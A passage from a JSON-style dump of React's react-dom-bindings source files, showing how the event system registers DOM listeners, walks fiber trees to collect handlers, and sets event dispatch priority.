any)[listeningMarker]) {\n        (ownerDocument: any)[listeningMarker] = true;\n        listenToNativeEvent('selectionchange', false, ownerDocument);\n      }\n    }\n  }\n}\n\nfunction addTrappedEventListener(\n  targetContainer: EventTarget,\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n  isCapturePhaseListener: boolean,\n  isDeferredListenerForLegacyFBSupport?: boolean,\n) {\n  let listener = createEventListenerWrapperWithPriority(\n    targetContainer,\n    domEventName,\n    eventSystemFlags,\n  );\n  // If passive option is not supported, then the event will be\n  // active and not passive.\n  let isPassiveListener: void | boolean = undefined;\n  if (passiveBrowserEventsSupported) {\n    // Browsers introduced an intervention, making these events\n    // passive by default on document. React doesn't bind them\n    // to document anymore, but changing this now would undo\n    // the performance wins from the change. So we emulate\n    // the existing behavior manually on the roots now.\n    // https://github.com/facebook/react/issues/19651\n    if (\n      domEventName === 'touchstart' ||\n      domEventName === 'touchmove' ||\n      domEventName === 'wheel'\n    ) {\n      isPassiveListener = true;\n    }\n  }\n\n  targetContainer =\n    enableLegacyFBSupport && isDeferredListenerForLegacyFBSupport\n      ? (targetContainer: any).ownerDocument\n      : targetContainer;\n\n  let unsubscribeListener;\n  // When legacyFBSupport is enabled, it's for when we\n  // want to add a one time event listener to a container.\n  // This should only be used with enableLegacyFBSupport\n  // due to requirement to provide compatibility with\n  // internal FB www event tooling. This works by removing\n  // the event listener as soon as it is invoked. We could\n  // also attempt to use the {once: true} param on\n  // addEventListener, but that requires support and some\n  // browsers do not support this today, and given this is\n  // to support legacy code patterns, it's likely they'll\n  // need support for such browsers.\n  if (enableLegacyFBSupport && isDeferredListenerForLegacyFBSupport) {\n    const originalListener = listener;\n    // $FlowFixMe[missing-this-annot]\n    listener = function (...p) {\n      removeEventListener(\n        targetContainer,\n        domEventName,\n        unsubscribeListener,\n        isCapturePhaseListener,\n      );\n      return originalListener.apply(this, p);\n    };\n  }\n  // TODO: There are too many combinations here. Consolidate them.\n  if (isCapturePhaseListener) {\n    if (isPassiveListener !== undefined) {\n      unsubscribeListener = addEventCaptureListenerWithPassiveFlag(\n        targetContainer,\n        domEventName,\n        listener,\n        isPassiveListener,\n      );\n    } else {\n      unsubscribeListener = addEventCaptureListener(\n        targetContainer,\n        domEventName,\n        listener,\n      );\n    }\n  } else {\n    if (isPassiveListener !== undefined) {\n      unsubscribeListener = addEventBubbleListenerWithPassiveFlag(\n        targetContainer,\n        domEventName,\n        listener,\n        isPassiveListener,\n      );\n    } else {\n      unsubscribeListener = addEventBubbleListener(\n        targetContainer,\n        domEventName,\n        listener,\n      );\n    }\n  }\n}\n\nfunction deferClickToDocumentForLegacyFBSupport(\n  domEventName: DOMEventName,\n  targetContainer: EventTarget,\n): void {\n  // We defer all click events with legacy FB support mode on.\n  // This means we add a one time event listener to trigger\n  // after the FB delegated listeners fire.\n  const isDeferredListenerForLegacyFBSupport = true;\n  addTrappedEventListener(\n    targetContainer,\n    domEventName,\n    IS_LEGACY_FB_SUPPORT_MODE,\n    false,\n    isDeferredListenerForLegacyFBSupport,\n  );\n}\n\nfunction isMatchingRootContainer(\n  grandContainer: Element,\n  targetContainer: EventTarget,\n): boolean {\n  return (\n    grandContainer === targetContainer ||\n    (!disableCommentsAsDOMContainers &&\n      grandContainer.nodeType === COMMENT_NODE &&\n      grandContainer.parentNode === targetContainer)\n  );\n}\n\nexport function dispatchEventForPluginEventSystem(\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n  nativeEvent: AnyNativeEvent,\n  targetInst: null | Fiber,\n  targetContainer: EventTarget,\n): void {\n  let ancestorInst = targetInst;\n  if (\n    (eventSystemFlags & IS_EVENT_HANDLE_NON_MANAGED_NODE) === 0 &&\n    (eventSystemFlags & IS_NON_DELEGATED) === 0\n  ) {\n    const targetContainerNode = ((targetContainer: any): Node);\n\n    // If we are using the legacy FB support flag, we\n    // defer the event to the null with a one\n    // time event listener so we can defer the event.\n    if (\n      enableLegacyFBSupport &&\n      // If our event flags match the required flags for entering\n      // FB legacy mode and we are processing the \"click\" event,\n      // then we can defer the event to the \"document\", to allow\n      // for legacy FB support, where the expected behavior was to\n      // match React < 16 behavior of delegated clicks to the doc.\n      domEventName === 'click' &&\n      (eventSystemFlags & SHOULD_NOT_DEFER_CLICK_FOR_FB_SUPPORT_MODE) === 0 &&\n      !isReplayingEvent(nativeEvent)\n    ) {\n      deferClickToDocumentForLegacyFBSupport(domEventName, targetContainer);\n      return;\n    }\n    if (targetInst !== null) {\n      // The below logic attempts to work out if we need to change\n      // the target fiber to a different ancestor. We had similar logic\n      // in the legacy event system, except the big difference between\n      // systems is that the modern event system now has an event listener\n      // attached to each React Root and React Portal Root. Together,\n      // the DOM nodes representing these roots are the \"rootContainer\".\n      // To figure out which ancestor instance we should use, we traverse\n      // up the fiber tree from the target instance and attempt to find\n      // root boundaries that match that of our current \"rootContainer\".\n      // If we find that \"rootContainer\", we find the parent fiber\n      // sub-tree for that root and make that our ancestor instance.\n      let node: null | Fiber = targetInst;\n\n      mainLoop: while (true) {\n        if (node === null) {\n          return;\n        }\n        const nodeTag = node.tag;\n        if (nodeTag === HostRoot || nodeTag === HostPortal) {\n          let container = node.stateNode.containerInfo;\n          if (isMatchingRootContainer(container, targetContainerNode)) {\n            break;\n          }\n          if (nodeTag === HostPortal) {\n            // The target is a portal, but it's not the rootContainer we're looking for.\n            // Normally portals handle their own events all the way down to the root.\n            // So we should be able to stop now. However, we don't know if this portal\n            // was part of *our* root.\n            let grandNode = node.return;\n            while (grandNode !== null) {\n              const grandTag = grandNode.tag;\n              if (grandTag === HostRoot || grandTag === HostPortal) {\n                const grandContainer = grandNode.stateNode.containerInfo;\n                if (\n                  isMatchingRootContainer(grandContainer, targetContainerNode)\n                ) {\n                  // This is the rootContainer we're looking for and we found it as\n                  // a parent of the Portal. That means we can ignore it because the\n                  // Portal will bubble through to us.\n                  return;\n                }\n              }\n              grandNode = grandNode.return;\n            }\n          }\n          // Now we need to find it's corresponding host fiber in the other\n          // tree. To do this we can use getClosestInstanceFromNode, but we\n          // need to validate that the fiber is a host instance, otherwise\n          // we need to traverse up through the DOM till we find the correct\n          // node that is from the other tree.\n          while (container !== null) {\n            const parentNode = getClosestInstanceFromNode(container);\n            if (parentNode === null) {\n              return;\n            }\n            const parentTag = parentNode.tag;\n            if (\n              parentTag === HostComponent ||\n              parentTag === HostText ||\n              parentTag === HostHoistable ||\n              parentTag === HostSingleton\n            ) {\n              node = ancestorInst = parentNode;\n              continue mainLoop;\n            }\n            container = container.parentNode;\n          }\n        }\n        node = node.return;\n      }\n    }\n  }\n\n  batchedUpdates(() =>\n    dispatchEventsForPlugins(\n      domEventName,\n      eventSystemFlags,\n      nativeEvent,\n      ancestorInst,\n      targetContainer,\n    ),\n  );\n}\n\nfunction createDispatchListener(\n  instance: null | Fiber,\n  listener: Function,\n  currentTarget: EventTarget,\n): DispatchListener {\n  return {\n    instance,\n    listener,\n    currentTarget,\n  };\n}\n\nexport function accumulateSinglePhaseListeners(\n  targetFiber: Fiber | null,\n  reactName: string | null,\n  nativeEventType: string,\n  inCapturePhase: boolean,\n  accumulateTargetOnly: boolean,\n  nativeEvent: AnyNativeEvent,\n): Array<DispatchListener> {\n  const captureName = reactName !== null ? reactName + 'Capture' : null;\n  const reactEventName = inCapturePhase ? captureName : reactName;\n  let listeners: Array<DispatchListener> = [];\n\n  let instance = targetFiber;\n  let lastHostComponent = null;\n\n  // Accumulate all instances and listeners via the target -> root path.\n  while (instance !== null) {\n    const {stateNode, tag} = instance;\n    // Handle listeners that are on HostComponents (i.e. <div>)\n    if (\n      (tag === HostComponent ||\n        tag === HostHoistable ||\n        tag === HostSingleton) &&\n      stateNode !== null\n    ) {\n      lastHostComponent = stateNode;\n\n      // createEventHandle listeners\n      if (enableCreateEventHandleAPI) {\n        const eventHandlerListeners =\n          getEventHandlerListeners(lastHostComponent);\n        if (eventHandlerListeners !== null) {\n          eventHandlerListeners.forEach(entry => {\n            if (\n              entry.type === nativeEventType &&\n              entry.capture === inCapturePhase\n            ) {\n              listeners.push(\n                createDispatchListener(\n                  instance,\n                  entry.callback,\n                  (lastHostComponent: any),\n                ),\n              );\n            }\n          });\n        }\n      }\n\n      // Standard React on* listeners, i.e. onClick or onClickCapture\n      if (reactEventName !== null) {\n        const listener = getListener(instance, reactEventName);\n        if (listener != null) {\n          listeners.push(\n            createDispatchListener(instance, listener, lastHostComponent),\n          );\n        }\n      }\n    } else if (\n      enableCreateEventHandleAPI &&\n      enableScopeAPI &&\n      tag === ScopeComponent &&\n      lastHostComponent !== null &&\n      stateNode !== null\n    ) {\n      // Scopes\n      const reactScopeInstance = stateNode;\n      const eventHandlerListeners =\n        getEventHandlerListeners(reactScopeInstance);\n      if (eventHandlerListeners !== null) {\n        eventHandlerListeners.forEach(entry => {\n          if (\n            entry.type === nativeEventType &&\n            entry.capture === inCapturePhase\n          ) {\n            listeners.push(\n              createDispatchListener(\n                instance,\n                entry.callback,\n                (lastHostComponent: any),\n              ),\n            );\n          }\n        });\n      }\n    }\n    // If we are only accumulating events for the target, then we don't\n    // continue to propagate through the React fiber tree to find other\n    // listeners.\n    if (accumulateTargetOnly) {\n      break;\n    }\n    // If we are processing the onBeforeBlur event, then we need to take\n    // into consideration that part of the React tree might have been hidden\n    // or deleted (as we're invoking this event during commit). We can find\n    // this out by checking if intercept fiber set on the event matches the\n    // current instance fiber. In which case, we should clear all existing\n    // listeners.\n    if (enableCreateEventHandleAPI && nativeEvent.type === 'beforeblur') {\n      // $FlowFixMe[prop-missing] internal field\n      const detachedInterceptFiber = nativeEvent._detachedInterceptFiber;\n      if (\n        detachedInterceptFiber !== null &&\n        (detachedInterceptFiber === instance ||\n          detachedInterceptFiber === instance.alternate)\n      ) {\n        listeners = [];\n      }\n    }\n    instance = instance.return;\n  }\n  return listeners;\n}\n\n// We should only use this function for:\n// - BeforeInputEventPlugin\n// - ChangeEventPlugin\n// - SelectEventPlugin\n// - ScrollEndEventPlugin\n// This is because we only process these plugins\n// in the bubble phase, so we need to accumulate two\n// phase event listeners (via emulation).\nexport function accumulateTwoPhaseListeners(\n  targetFiber: Fiber | null,\n  reactName: string,\n): Array<DispatchListener> {\n  const captureName = reactName + 'Capture';\n  const listeners: Array<DispatchListener> = [];\n  let instance = targetFiber;\n\n  // Accumulate all instances and listeners via the target -> root path.\n  while (instance !== null) {\n    const {stateNode, tag} = instance;\n    // Handle listeners that are on HostComponents (i.e. <div>)\n    if (\n      (tag === HostComponent ||\n        tag === HostHoistable ||\n        tag === HostSingleton) &&\n      stateNode !== null\n    ) {\n      const currentTarget = stateNode;\n      const captureListener = getListener(instance, captureName);\n      if (captureListener != null) {\n        listeners.unshift(\n          createDispatchListener(instance, captureListener, currentTarget),\n        );\n      }\n      const bubbleListener = getListener(instance, reactName);\n      if (bubbleListener != null) {\n        listeners.push(\n          createDispatchListener(instance, bubbleListener, currentTarget),\n        );\n      }\n    }\n    if (instance.tag === HostRoot) {\n      return listeners;\n    }\n    instance = instance.return;\n  }\n  // If we didn't reach the root it means we're unmounted and shouldn't\n  // dispatch any events on the target.\n  return [];\n}\n\nfunction getParent(inst: Fiber | null): Fiber | null {\n  if (inst === null) {\n    return null;\n  }\n  do {\n    // $FlowFixMe[incompatible-use] found when upgrading Flow\n    inst = inst.return;\n    // TODO: If this is a HostRoot we might want to bail out.\n    // That is depending on if we want nested subtrees (layers) to bubble\n    // events to their parent. We could also go through parentNode on the\n    // host node but that wouldn't work for React Native and doesn't let us\n    // do the portal feature.\n  } while (inst && inst.tag !== HostComponent && inst.tag !== HostSingleton);\n  if (inst) {\n    return inst;\n  }\n  return null;\n}\n\nfunction accumulateEnterLeaveListenersForEvent(\n  dispatchQueue: DispatchQueue,\n  event: KnownReactSyntheticEvent,\n  target: Fiber,\n  common: Fiber | null,\n  inCapturePhase: boolean,\n): void {\n  const registrationName = event._reactName;\n  const listeners: Array<DispatchListener> = [];\n\n  let instance: null | Fiber = target;\n  while (instance !== null) {\n    if (instance === common) {\n      break;\n    }\n    const {alternate, stateNode, tag} = instance;\n    if (alternate !== null && alternate === common) {\n      break;\n    }\n    if (\n      (tag === HostComponent ||\n        tag === HostHoistable ||\n        tag === HostSingleton) &&\n      stateNode !== null\n    ) {\n      const currentTarget = stateNode;\n      if (inCapturePhase) {\n        const captureListener = getListener(instance, registrationName);\n        if (captureListener != null) {\n          listeners.unshift(\n            createDispatchListener(instance, captureListener, currentTarget),\n          );\n        }\n      } else if (!inCapturePhase) {\n        const bubbleListener = getListener(instance, registrationName);\n        if (bubbleListener != null) {\n          listeners.push(\n            createDispatchListener(instance, bubbleListener, currentTarget),\n          );\n        }\n      }\n    }\n    instance = instance.return;\n  }\n  if (listeners.length !== 0) {\n    dispatchQueue.push({event, listeners});\n  }\n}\n\n// We should only use this function for:\n// - EnterLeaveEventPlugin\n// This is because we only process this plugin\n// in the bubble phase, so we need to accumulate two\n// phase event listeners.\nexport function accumulateEnterLeaveTwoPhaseListeners(\n  dispatchQueue: DispatchQueue,\n  leaveEvent: KnownReactSyntheticEvent,\n  enterEvent: null | KnownReactSyntheticEvent,\n  from: Fiber | null,\n  to: Fiber | null,\n): void {\n  const common =\n    from && to ? getLowestCommonAncestor(from, to, getParent) : null;\n\n  if (from !== null) {\n    accumulateEnterLeaveListenersForEvent(\n      dispatchQueue,\n      leaveEvent,\n      from,\n      common,\n      false,\n    );\n  }\n  if (to !== null && enterEvent !== null) {\n    accumulateEnterLeaveListenersForEvent(\n      dispatchQueue,\n      enterEvent,\n      to,\n      common,\n      true,\n    );\n  }\n}\n\nexport function accumulateEventHandleNonManagedNodeListeners(\n  reactEventType: DOMEventName,\n  currentTarget: EventTarget,\n  inCapturePhase: boolean,\n): Array<DispatchListener> {\n  const listeners: Array<DispatchListener> = [];\n\n  const eventListeners = getEventHandlerListeners(currentTarget);\n  if (eventListeners !== null) {\n    eventListeners.forEach(entry => {\n      if (entry.type === reactEventType && entry.capture === inCapturePhase) {\n        listeners.push(\n          createDispatchListener(null, entry.callback, currentTarget),\n        );\n      }\n    });\n  }\n  return listeners;\n}\n\nexport function getListenerSetKey(\n  domEventName: DOMEventName,\n  capture: boolean,\n): string {\n  return `${domEventName}__${capture ? 'capture' : 'bubble'}`;\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/EventListener.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport function addEventBubbleListener(\n  target: EventTarget,\n  eventType: string,\n  listener: Function,\n): Function {\n  target.addEventListener(eventType, listener, false);\n  return listener;\n}\n\nexport function addEventCaptureListener(\n  target: EventTarget,\n  eventType: string,\n  listener: Function,\n): Function {\n  target.addEventListener(eventType, listener, true);\n  return listener;\n}\n\nexport function addEventCaptureListenerWithPassiveFlag(\n  target: EventTarget,\n  eventType: string,\n  listener: Function,\n  passive: boolean,\n): Function {\n  target.addEventListener(eventType, listener, {\n    capture: true,\n    passive,\n  });\n  return listener;\n}\n\nexport function addEventBubbleListenerWithPassiveFlag(\n  target: EventTarget,\n  eventType: string,\n  listener: Function,\n  passive: boolean,\n): Function {\n  target.addEventListener(eventType, listener, {\n    passive,\n  });\n  return listener;\n}\n\nexport function removeEventListener(\n  target: EventTarget,\n  eventType: string,\n  listener: Function,\n  capture: boolean,\n): void {\n  target.removeEventListener(eventType, listener, capture);\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/EventRegistry.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {DOMEventName} from './DOMEventNames';\n\nimport {enableCreateEventHandleAPI} from 'shared/ReactFeatureFlags';\n\nexport const allNativeEvents: Set<DOMEventName> = new Set();\n\nif (enableCreateEventHandleAPI) {\n  allNativeEvents.add('beforeblur');\n  allNativeEvents.add('afterblur');\n}\n\n/**\n * Mapping from registration name to event name\n */\nexport const registrationNameDependencies: {\n  [registrationName: string]: Array<DOMEventName>,\n} = {};\n\n/**\n * Mapping from lowercase registration names to the properly cased version,\n * used to warn in the case of missing event handlers. Available\n * only in __DEV__.\n * @type {Object}\n */\nexport const possibleRegistrationNames: {\n  [lowerCasedName: string]: string,\n} = __DEV__ ? {} : (null: any);\n// Trust the developer to only use possibleRegistrationNames in __DEV__\n\nexport function registerTwoPhaseEvent(\n  registrationName: string,\n  dependencies: Array<DOMEventName>,\n): void {\n  registerDirectEvent(registrationName, dependencies);\n  registerDirectEvent(registrationName + 'Capture', dependencies);\n}\n\nexport function registerDirectEvent(\n  registrationName: string,\n  dependencies: Array<DOMEventName>,\n) {\n  if (__DEV__) {\n    if (registrationNameDependencies[registrationName]) {\n      console.error(\n        'EventRegistry: More than one plugin attempted to publish the same ' +\n          'registration name, `%s`.',\n        registrationName,\n      );\n    }\n  }\n\n  registrationNameDependencies[registrationName] = dependencies;\n\n  if (__DEV__) {\n    const lowerCasedName = registrationName.toLowerCase();\n    possibleRegistrationNames[lowerCasedName] = registrationName;\n\n    if (registrationName === 'onDoubleClick') {\n      possibleRegistrationNames.ondblclick = registrationName;\n    }\n  }\n\n  for (let i = 0; i < dependencies.length; i++) {\n    allNativeEvents.add(dependencies[i]);\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/EventSystemFlags.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type EventSystemFlags = number;\n\nexport const IS_EVENT_HANDLE_NON_MANAGED_NODE = 1;\nexport const IS_NON_DELEGATED = 1 << 1;\nexport const IS_CAPTURE_PHASE = 1 << 2;\nexport const IS_PASSIVE = 1 << 3;\nexport const IS_LEGACY_FB_SUPPORT_MODE = 1 << 4;\n\nexport const SHOULD_NOT_DEFER_CLICK_FOR_FB_SUPPORT_MODE =\n  IS_LEGACY_FB_SUPPORT_MODE | IS_CAPTURE_PHASE;\n\n// We do not want to defer if the event system has already been\n// set to LEGACY_FB_SUPPORT. LEGACY_FB_SUPPORT only gets set when\n// we call willDeferLaterForLegacyFBSupport, thus not bailing out\n// will result in endless cycles like an infinite loop.\n// We also don't want to defer during event replaying.\nexport const SHOULD_NOT_PROCESS_POLYFILL_EVENT_PLUGINS =\n  IS_EVENT_HANDLE_NON_MANAGED_NODE | IS_NON_DELEGATED | IS_CAPTURE_PHASE;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/FallbackCompositionState.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * These variables store information about text content of a target node,\n * allowing comparison of content before and after a given event.\n *\n * Identify the node where selection currently begins, then observe\n * both its text content and its current position in the DOM. Since the\n * browser may natively replace the target node during composition, we can\n * use its position to find its replacement.\n *\n *\n */\n\nlet root = null;\nlet startText = null;\nlet fallbackText = null;\n\nexport function initialize(nativeEventTarget) {\n  root = nativeEventTarget;\n  startText = getText();\n  return true;\n}\n\nexport function reset() {\n  root = null;\n  startText = null;\n  fallbackText = null;\n}\n\nexport function getData() {\n  if (fallbackText) {\n    return fallbackText;\n  }\n\n  let start;\n  const startValue = startText;\n  const startLength = startValue.length;\n  let end;\n  const endValue = getText();\n  const endLength = endValue.length;\n\n  for (start = 0; start < startLength; start++) {\n    if (startValue[start] !== endValue[start]) {\n      break;\n    }\n  }\n\n  const minEnd = startLength - start;\n  for (end = 1; end <= minEnd; end++) {\n    if (startValue[startLength - end] !== endValue[endLength - end]) {\n      break;\n    }\n  }\n\n  const sliceTail = end > 1 ? 1 - end : undefined;\n  fallbackText = endValue.slice(start, sliceTail);\n  return fallbackText;\n}\n\nexport function getText() {\n  if ('value' in root) {\n    return root.value;\n  }\n  return root.textContent;\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/PluginModuleType.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type AnyNativeEvent = Event | KeyboardEvent | MouseEvent | TouchEvent;\n\nexport type PluginName = string;\n\nexport type EventSystemFlags = number;\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/ReactDOMControlledComponent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  getInstanceFromNode,\n  getFiberCurrentPropsFromNode,\n} from '../client/ReactDOMComponentTree';\n\nimport {restoreControlledState} from 'react-dom-bindings/src/client/ReactDOMComponent';\n\n// Use to restore controlled state after a change event has fired.\n\nlet restoreTarget = null;\nlet restoreQueue = null;\n\nfunction restoreStateOfTarget(target: Node) {\n  // We perform this translation at the end of the event loop so that we\n  // always receive the correct fiber here\n  const internalInstance = getInstanceFromNode(target);\n  if (!internalInstance) {\n    // Unmounted\n    return;\n  }\n\n  const stateNode = internalInstance.stateNode;\n  // Guard against Fiber being unmounted.\n  if (stateNode) {\n    const props = getFiberCurrentPropsFromNode(stateNode);\n    restoreControlledState(\n      internalInstance.stateNode,\n      internalInstance.type,\n      props,\n    );\n  }\n}\n\nexport function enqueueStateRestore(target: Node): void {\n  if (restoreTarget) {\n    if (restoreQueue) {\n      restoreQueue.push(target);\n    } else {\n      restoreQueue = [target];\n    }\n  } else {\n    restoreTarget = target;\n  }\n}\n\nexport function needsStateRestore(): boolean {\n  return restoreTarget !== null || restoreQueue !== null;\n}\n\nexport function restoreStateIfNeeded() {\n  if (!restoreTarget) {\n    return;\n  }\n  const target = restoreTarget;\n  const queuedTargets = restoreQueue;\n  restoreTarget = null;\n  restoreQueue = null;\n\n  restoreStateOfTarget(target);\n  if (queuedTargets) {\n    for (let i = 0; i < queuedTargets.length; i++) {\n      restoreStateOfTarget(queuedTargets[i]);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom-bindings/src/events/ReactDOMEventListener.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {EventPriority} from 'react-reconciler/src/ReactEventPriorities';\nimport type {AnyNativeEvent} from '../events/PluginModuleType';\nimport type {Fiber, FiberRoot} from 'react-reconciler/src/ReactInternalTypes';\nimport type {\n  Container,\n  ActivityInstance,\n  SuspenseInstance,\n} from '../client/ReactFiberConfigDOM';\nimport type {DOMEventName} from '../events/DOMEventNames';\n\nimport {\n  isDiscreteEventThatRequiresHydration,\n  clearIfContinuousEvent,\n  queueIfContinuousEvent,\n} from './ReactDOMEventReplaying';\nimport {attemptSynchronousHydration} from 'react-reconciler/src/ReactFiberReconciler';\nimport {\n  getNearestMountedFiber,\n  getContainerFromFiber,\n  getActivityInstanceFromFiber,\n  getSuspenseInstanceFromFiber,\n} from 'react-reconciler/src/ReactFiberTreeReflection';\nimport {\n  HostRoot,\n  ActivityComponent,\n  SuspenseComponent,\n} from 'react-reconciler/src/ReactWorkTags';\nimport {type EventSystemFlags, IS_CAPTURE_PHASE} from './EventSystemFlags';\n\nimport getEventTarget from './getEventTarget';\nimport {\n  getInstanceFromNode,\n  getClosestInstanceFromNode,\n} from '../client/ReactDOMComponentTree';\n\nimport {dispatchEventForPluginEventSystem} from './DOMPluginEventSystem';\nimport {\n  getCurrentUpdatePriority,\n  setCurrentUpdatePriority,\n} from '../client/ReactDOMUpdatePriority';\n\nimport {\n  getCurrentPriorityLevel as getCurrentSchedulerPriorityLevel,\n  IdlePriority as IdleSchedulerPriority,\n  ImmediatePriority as ImmediateSchedulerPriority,\n  LowPriority as LowSchedulerPriority,\n  NormalPriority as NormalSchedulerPriority,\n  UserBlockingPriority as UserBlockingSchedulerPriority,\n} from 'react-reconciler/src/Scheduler';\nimport {\n  DiscreteEventPriority,\n  ContinuousEventPriority,\n  DefaultEventPriority,\n  IdleEventPriority,\n} from 'react-reconciler/src/ReactEventPriorities';\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport {isRootDehydrated} from 'react-reconciler/src/ReactFiberShellHydration';\n\n// TODO: can we stop exporting these?\nlet _enabled: boolean = true;\n\n// This is exported in FB builds for use by legacy FB layer infra.\n// We'd like to remove this but it's not clear if this is safe.\nexport function setEnabled(enabled: ?boolean): void {\n  _enabled = !!enabled;\n}\n\nexport function isEnabled(): boolean {\n  return _enabled;\n}\n\nexport function createEventListenerWrapper(\n  targetContainer: EventTarget,\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n): Function {\n  return dispatchEvent.bind(\n    null,\n    domEventName,\n    eventSystemFlags,\n    targetContainer,\n  );\n}\n\nexport function createEventListenerWrapperWithPriority(\n  targetContainer: EventTarget,\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n): Function {\n  const eventPriority = getEventPriority(domEventName);\n  let listenerWrapper;\n  switch (eventPriority) {\n    case DiscreteEventPriority:\n      listenerWrapper = dispatchDiscreteEvent;\n      break;\n    case ContinuousEventPriority:\n      listenerWrapper = dispatchContinuousEvent;\n      break;\n    case DefaultEventPriority:\n    default:\n      listenerWrapper = dispatchEvent;\n      break;\n  }\n  return listenerWrapper.bind(\n    null,\n    domEventName,\n    eventSystemFlags,\n    targetContainer,\n  );\n}\n\nfunction dispatchDiscreteEvent(\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n  container: EventTarget,\n  nativeEvent: AnyNativeEvent,\n) {\n  const prevTransition = ReactSharedInternals.T;\n  ReactSharedInternals.T = null;\n  const previousPriority = getCurrentUpdatePriority();\n  try {\n    setCurrentUpdatePriority(DiscreteEventPriority);\n    dispatchEvent(domEventName, eventSystemFlags, container, nativeEvent);\n  } finally {\n    setCurrentUpdatePriority(previousPriority);\n    ReactSharedInternals.T = prevTransition;\n  }\n}\n\nfunction dispatchContinuousEvent(\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n  container: EventTarget,\n  nativeEvent: AnyNativeEvent,\n) {\n  const prevTransition = ReactSharedInternals.T;\n  ReactSharedInternals.T = null;\n  const previousPriority = getCurrentUpdatePriority();\n  try {\n    setCurrentUpdatePriority(ContinuousEventPriority);\n    dispatchEvent(domEventName, eventSystemFlags, container, nativeEvent);\n  } finally {\n    setCurrentUpdatePriority(previousPriority);\n    ReactSharedInternals.T = prevTransition;\n  }\n}\n\nexport function dispatchEvent(\n  domEventName: DOMEventName,\n  eventSystemFlags: EventSystemFlags,\n  targetContainer: EventTarget,\n  nativeEvent: AnyNativeEvent,\n): void {\n  if (!_enabled) {\n    return;\n  }\n\n  let blockedOn = findInstanceBlockingEvent(nativeEvent);\n  if (blockedOn === null) {\n    dispatchEventForPluginEventSystem(\n      domEventName,\n      eventSystemFlags,\n      nativeEvent,\n      return_targetInst,\n      targetContainer,\n    );\n    clearIfContinuousEvent(domEventName, nativeEvent);\n    return;\n  }\n\n  if (\n    queueIfContinuousEvent(\n      blockedOn,\n      domEventName,\n      eventSystemFlags,\n      targetContainer,\n      nativeEvent,\n    )\n  ) {\n    nativeEvent.stopPropagation();\n    return;\n  }\n  // We need to clear only if we didn't queue because\n  // queueing is accumulative.\n  clearIfContinuousEvent(domEventName, nativeEvent);\n\n  if (\n    eventSystemFlags & IS_CAPTURE_PHASE &&\n    isDiscreteEventThatRequiresHydration(domEventName)\n  ) {\n    while (blockedOn !== null) {\n      const fiber = getInstanceFromNode(blockedOn);\n      if (fiber !== null) {\n        attemptSynchronousHydration(fiber);\n      }\n      const nextBlockedOn = findInstanceBlockingEvent(nativeEvent);\n      if (nextBlockedOn === null) {\n        dispatchEventForPluginEventSystem(\n          domEventName,\n          eventSystemFlags,\n          nativeEvent,\n          return_targetInst,\n          targetContainer,\n        );\n      }\n      if (nextBlockedOn === blockedOn) {\n        break;\n      }\n      blockedOn = nextBlockedOn;\n    }\n    if (blockedOn !== null) {\n      nativeEvent.stopPropagation();\n    }\n    return;\n  }\n\n  // This is not replayable so we'll invoke it but without a target,\n  // in case the event system needs to trace it.\n  dispatchEventForPluginEventSystem(\n    domEventName,\n    eventSystemFlags,\n    nativeEvent,\n    null,\n    targetContainer,\n  );\n}\n\nexport function findInstanceBlockingEvent(\n  nativeEvent: AnyNativeEvent,\n): null | Container | SuspenseInstance | ActivityInstance {\n  const nativeEventTarget = getEventTarget(nativeEvent);\n  return findInstanceBlockingTarget(nativeEventTarget);\n}\n\nexport let return_targetInst: null | Fiber = null;\n\n// Returns a SuspenseInstance, ActivityInstance or Container if it's blocked.\n// The return_targetInst field above is conceptually part of the return value.\nexport function findInstanceBlockingTarget(\n  targetNode: Node,\n): null | Container | SuspenseInstance | ActivityInstance {\n  // TODO: Warn if _enabled is false.\n\n  return_targetInst = null;\n\n  let targetInst = getClosestInstanceFromNode(targetNode);\n\n  if (targetInst !== null) {\n    const nearestMounted = getNearestMountedFiber(targetInst);\n    if (nearestMounted === null) {\n      // This tree has been unmounted already. Dispatch without a target.\n      targetInst = null;\n    } else {\n      const tag = nearestMounted.tag;\n      if (tag === SuspenseComponent) {\n        const instance = getSuspenseInstanceFromFiber(nearestMounted);\n        if (instance !== null) {\n          // Queue the event to be replayed later. Abort dispatching since we\n          // don't want this event dispatched twice through the event system.\n          // TODO: If this is the first discrete event in the queue. Schedule an increased\n          // priority for this boundary.\n          return instance;\n        }\n        // This shouldn't happen, 